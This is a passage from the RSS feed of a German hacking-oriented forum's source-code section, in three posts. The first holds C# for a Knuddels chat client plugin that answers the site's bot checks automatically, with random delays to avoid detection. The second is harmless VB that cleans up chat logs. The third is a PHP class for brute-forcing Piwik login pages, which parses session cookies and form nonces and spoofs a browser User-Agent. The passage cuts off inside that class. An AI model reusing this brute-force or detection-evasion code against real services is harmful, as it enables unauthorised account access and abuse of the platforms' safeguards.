/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">String&nbsp;c&nbsp;in&nbsp;Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">Channels</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">InPrivateMessage&nbsp;IN&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">InPrivateMessage</span><span style="color: #007700">(</span><span style="color: #DD0000">"Antworte&nbsp;auf&nbsp;Botkontrolle&nbsp;("&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">current&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">")&nbsp;in&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">delay&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"ms."</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"James"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">getNick</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">GetType</span><span style="color: #007700">().</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">sendToClient</span><span style="color: #007700">(</span><span style="color: #0000BB">IN</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">delay</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">sendToServer</span><span style="color: #007700">(</span><span style="color: #0000BB">p</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;current&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"QWERTZUIOP"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;bool&nbsp;OnReceive</span><span style="color: #007700">(</span><span style="color: #0000BB">KNDeKaDeNz</span><span style="color: #007700">.</span><span style="color: #0000BB">Net</span><span style="color: #007700">.</span><span style="color: #0000BB">Packet&nbsp;p</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Packet</span><span style="color: #007700">.</span><span style="color: #0000BB">getRealPacketName</span><span style="color: #007700">(</span><span style="color: #0000BB">p</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">)==</span><span style="color: #DD0000">"InPrivateMessage"</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">me</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #0000BB">current</span><span style="color: #007700">)&nbsp;||&nbsp;!</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">me</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Bot-Benutzung"</span><span style="color: #007700">))&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">InPrivateMessage&nbsp;message&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">InPrivateMessage</span><span style="color: #007700">)</span><span style="color: #0000BB">p</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">from&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">"James"</span><span style="color: #007700">)&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;str3&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Match</span><span style="color: #007700">(</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">message</span><span style="color: #007700">,&nbsp;@</span><span style="color: #DD0000">"/ok&nbsp;(\d+)"</span><span style="color: #007700">).</span><span style="color: #0000BB">Groups</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Value</span><span style="color: #007700">.</span><span style="color: #0000BB">Trim</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">current&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"/ok&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">str3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;delay&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">().</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">3000</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">10000</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OutPublicMessage&nbsp;answer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">OutPublicMessage</span><span style="color: #007700">(</span><span style="color: #DD0000">"/ok&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">str3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">Channels</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Parent</span><span style="color: #007700">.</span><span style="color: #0000BB">Channels</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">-</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">delayedSend</span><span style="color: #007700">(</span><span style="color: #0000BB">answer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">delay</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DeKaDeNz</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-dekadenz-client-botcontroll-plugin-4242</guid>
		</item>
		<item>
			<title>Chatverlauf ohne Sonderzeichen!</title>
			<link>sourcecode-91/chatverlauf-ohne-sonderzeichen-32073?goto=newpost</link>
			<pubDate>Wed, 04 Jan 2012 11:37:02 GMT</pubDate>
			<description>Liebe user, 
hab mir gestern mal die Arbeit gemacht und den Chatverlauf einigermaßen schöner gestaltet. 
Er ersetzt die Umlaute(äüö) in ae, ue, oe....</description>
			<content:encoded><![CDATA[<div>Liebe user,<br />
hab mir gestern mal die Arbeit gemacht und den Chatverlauf einigermaßen schöner gestaltet.<br />
Er ersetzt die Umlaute(äüö) in ae, ue, oe.<br />
Die meiste Werbung sollte geblockt sein.<br />
Nervige Farben die per °[15,2usw]° gemacht werden, werden als Leerzeichen ausgegeben.<br />
usw.<br />
Ist aber nicht ganz fertig, aber falls jemand sowas mal brauch, bzw lust hätte es weiter zu machen:<br />
<br />
[HIDE=100]<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;#§#BB&gt;textlinks/1440680100x0025dejanuar-2012-9cent-xmasi001w.gif&lt;&gt;&quot;, &quot;&quot;).Replace(&quot;BB&gt;&quot;, &quot;&quot;).Replace(&quot;|/serverpp&quot;, &quot;&quot;).Replace(&quot;|/w &quot;&quot;&lt;&quot;, &quot;&quot;).Replace(&quot;http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=544&amp;tl=2&lt;&quot;, &quot;&quot;).Replace(&quot;#§#BB&gt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;(von: h&quot;, &quot;´(von: &quot;).Replace(&quot;?&quot;&quot;).#&gt;layout/mailclosed-outerglow...h13.png&quot;, &quot;&quot;).Replace(&quot;#§#smwelcome-2011piggy-bank...b.w51.h27.my1.gif&lt;&gt;&quot;, &quot;&quot;).Replace(&quot;9-Anzeige-&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;James: h&quot;, &quot;James: &quot;).Replace(&quot;Yho h&quot;, &quot;Yho&quot;).Replace(&quot;rBBmh&quot;, &quot;&quot;).Replace(&quot;(------&quot;, &quot;&quot;).Replace(&quot;&lt;.#&gt;&quot;, &quot;&quot;).Replace(&quot;layout/mailclosed-outerglow...h13.png&gt;&quot;, &quot;&quot;).Replace(&quot;und h&quot;, &quot;und&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;ä&quot;, &quot;ae&quot;).Replace(&quot;ü&quot;, &quot;ue&quot;).Replace(&quot;ö&quot;, &quot;oe&quot;).Replace(&quot;°&quot;, &quot;&quot;).Replace(&quot;&gt;_&quot;, &quot;&quot;).Replace(&quot;_&quot;, &quot;&quot;).Replace(&quot;hBriefkasten|/m&quot;, &quot;Briefkasten&quot;).Replace(&quot;%-1&quot;, &quot;&quot;).Replace(&quot;?&lt;&quot;, &quot;&quot;).Replace(&quot;BBh&quot;, &quot;&quot;).Replace(&quot;|/m ?&quot;&quot;|/w &quot;&quot;&lt;).#&gt;layout/mailclosed-outerglow...h13.png&lt;&gt;--&lt;&gt;|/m&lt;&gt;--&lt; BB&gt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;).#&gt;layout/mailclosed-outerglow...h13.png&lt;&gt;--&lt;&gt; &quot;, &quot;&quot;).Replace(&quot;?&quot;&quot;/m&lt;&gt;--&lt;&quot;, &quot;&quot;).Replace(&quot;&gt;layout/mailclosed-three...h13.png&lt;&gt;--&lt;&gt;&quot;, &quot;&quot;).Replace(&quot;&lt;&gt;--&lt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;http://photo.knuddels.de/photos-settings.html?d=knuddels.de&lt;r&quot;, &quot;&quot;).Replace(&quot;http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=544&amp;tl=0&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;Mahlzeit h&quot;, &quot;Mahlzeit&quot;).Replace(&quot;hat h&quot;, &quot;hat &quot;).Replace(&quot;huhu h&quot;, &quot;huhu&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;#§#textlinks/congstarsmart100100x25.gif&lt;&gt;&quot;, &quot;&quot;).Replace(&quot;http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=543&amp;tl=0&lt;&quot;, &quot;&quot;).Replace(&quot;[0,27,229]h&quot;, &quot;&quot;).Replace(&quot;r(h&quot;, &quot;&quot;).Replace(&quot;[0,157,11]h&quot;, &quot;&quot;).Replace(&quot;/f /mentor&lt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=543&amp;tl=1&lt;&quot;, &quot;&quot;).Replace(&quot;#§#&quot;, &quot;&quot;).Replace(&quot;http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=513&amp;tl=0&lt;&quot;, &quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; RichTextBox1.Text = RichTextBox1.Text.Replace(&quot;|&quot;, &quot; &quot;).Replace(&quot;&lt; | &gt;layout/mailclosed-three...h13.png&lt;&gt;--&lt;&gt;|/m +|/m old&lt;&gt;--&lt; BB&gt;&quot;, &quot; &quot;).Replace(&quot;|/m +|&quot;, &quot; &quot;).Replace(&quot;/m&lt;&nbsp; &quot;, &quot; &quot;).Replace(&quot;&gt;layout/mailclosed-three...h13.png&lt;&gt;--&lt;&gt;/m +/m old&lt;&gt;--&lt; BB&gt;&quot;, &quot; &quot;)</code><hr />
</div>[/HIDE]<br />
<br />
<br />
Viel spaß damit :).</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Escobar</dc:creator>
			<guid isPermaLink="true">sourcecode-91/chatverlauf-ohne-sonderzeichen-32073</guid>
		</item>
		<item>
			<title><![CDATA[[PHP] PIWIK Bruter]]></title>
			<link>sourcecode-91/php-piwik-bruter-31078?goto=newpost</link>
			<pubDate>Wed, 04 Jan 2012 05:11:15 GMT</pubDate>
			<description>Hallo hier möchte ich euch meine Piwik Bruter Klasse in PHP vorstellen. 
Die Klasse ist nur aus Langweile entstanden, ich werde dazu keinerlei...</description>
			<content:encoded><![CDATA[<div>Hallo hier möchte ich euch meine Piwik Bruter Klasse in PHP vorstellen.<br />
Die Klasse ist nur aus Langweile entstanden, ich werde dazu keinerlei Support geben und auch keine Fragen wie z.B. &quot;Wie Funktioniert das?&quot; beantworten.<br />
<br />
Ich wünsche euch trotzdem viel Spaß damit (Y)<br />
<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #FF8000">/*<br />**&nbsp;author&nbsp;xtp57<br />*/&nbsp;<br /><br /></span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">brute_PIWIK&nbsp;</span><span style="color: #007700">{<br /><br />private&nbsp;function&nbsp;</span><span style="color: #0000BB">PostRequest</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$referer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$cookie</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$url&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parse_url</span><span style="color: #007700">(</span><span style="color: #0000BB">$url</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$host&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$url</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'host'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$path&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$url</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'path'</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fsockopen</span><span style="color: #007700">(</span><span style="color: #0000BB">$host</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8080</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$data&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$typ&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"GET"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$typ&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"POST"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$typ</span><span style="color: #007700">.</span><span style="color: #DD0000">"&nbsp;</span><span style="color: #0000BB">$path</span><span style="color: #DD0000">&nbsp;HTTP/1.1\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Host:&nbsp;</span><span style="color: #0000BB">$host</span><span style="color: #DD0000">\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"User-Agent:&nbsp;Mozilla/5.0&nbsp;(Windows;&nbsp;U;&nbsp;Windows&nbsp;NT&nbsp;6.1;&nbsp;en;&nbsp;rv:1.9.2.13)&nbsp;Gecko/20101203&nbsp;Firefox/3.6.13\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$referer&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Referer:&nbsp;</span><span style="color: #0000BB">$referer</span><span style="color: #DD0000">\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$cookie&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Cookie:&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$cookie</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Content-type:&nbsp;application/x-www-form-urlencoded\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Content-length:&nbsp;"</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">)&nbsp;.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Connection:&nbsp;close\r\n\r\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$data&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fputs</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$data</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;while(!</span><span style="color: #0000BB">feof</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$result&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #0000BB">fgets</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">128</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">$fp</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$result</span><span style="color: #007700">;<br />}<br /><br />private&nbsp;function&nbsp;</span><span style="color: #0000BB">getHiddenFormID</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$regex&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'#&lt;input&nbsp;type="hidden"&nbsp;name="form_nonce"&nbsp;id="form_nonce"&nbsp;value="(.*?)"&nbsp;/&gt;#'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">$regex</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$content</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />}<br /><br />private&nbsp;function&nbsp;</span><span style="color: #0000BB">getPIWIK_SESSID</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$regex&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'#Set-Cookie:&nbsp;(.*?);#'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">preg_match_all</span><span style="color: #007700">(</span><span style="color: #0000BB">$regex</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$content</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$match</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />}<br /><br />private&nbsp;function&nbsp;</span><span style="color: #0000BB">brute</span><span style="color: #007700">(</span><span style="color: #0000BB">$width</span><span style="color: #007700">)<br />{&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$position&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$charset&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$charset&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: #DD0000">"abcdefghijklmnopqrstuvwxyz"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$charset&nbsp;</span><span style="color: #007700">.=&nbsp;</span><span style="color: 